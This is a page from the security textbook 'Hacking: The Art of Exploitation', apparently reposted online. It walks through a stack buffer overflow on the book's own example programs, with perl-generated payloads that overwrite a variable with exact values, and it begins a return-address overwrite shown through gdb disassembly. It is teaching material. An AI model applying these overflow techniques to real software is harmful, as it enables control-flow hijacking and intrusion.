Hacking - The Art of Exploitation, 2nd Edition

(Romina) #1
Exploitation 135

(gdb) quit
reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x20. "ABCD"')
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)


[STRCPY] copying 24 bytes into buffer_two


[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAABCD'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAABCD'
[AFTER] value is at 0xbffff7f4 and is 1145258561 (0x44434241)
reader@hacking:~/booksrc $


In the output above, GDB is used as a hexadecimal calculator to figure
out the distance between buffer_two (0xbfffff7e0) and the value variable
(0xbffff7f4), which turns out to be 20 bytes. Using this distance, the value
variable is overwritten with the exact value 0x44434241, since the characters A,
B, C, and D have the hex values of 0x41, 0x42, 0x43, and 0x44, respectively. The
first character is the least significant byte, due to the little-endian architec-
ture. This means if you wanted to control the value variable with something
exact, like 0xdeadbeef, you must write those bytes into memory in reverse order.

reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x20. "\xef\xbe\xad\xde"')
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)


[STRCPY] copying 24 bytes into buffer_two


[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAA??'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAA??'
[AFTER] value is at 0xbffff7f4 and is -559038737 (0xdeadbeef)
reader@hacking:~/booksrc $


This technique can be applied to overwrite the return address in the
auth_overflow2.c program with an exact value. In the example below, we will
overwrite the return address with a different address in main().

reader@hacking:~/booksrc $ gcc -g -o auth_overflow2 auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./auth_overflow2
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x08048474 <main+0>: push ebp
0x08048475 <main+1>: mov ebp,esp
0x08048477 <main+3>: sub esp,0x8
0x0804847a <main+6>: and esp,0xfffffff0
0x0804847d <main+9>: mov eax,0x0
0x08048482 <main+14>: sub esp,eax
0x08048484 <main+16>: cmp DWORD PTR [ebp+8],0x1
0x08048488 <main+20>: jg 0x80484ab <main+55>
0x0804848a <main+22>: mov eax,DWORD PTR [ebp+12]

Free download pdf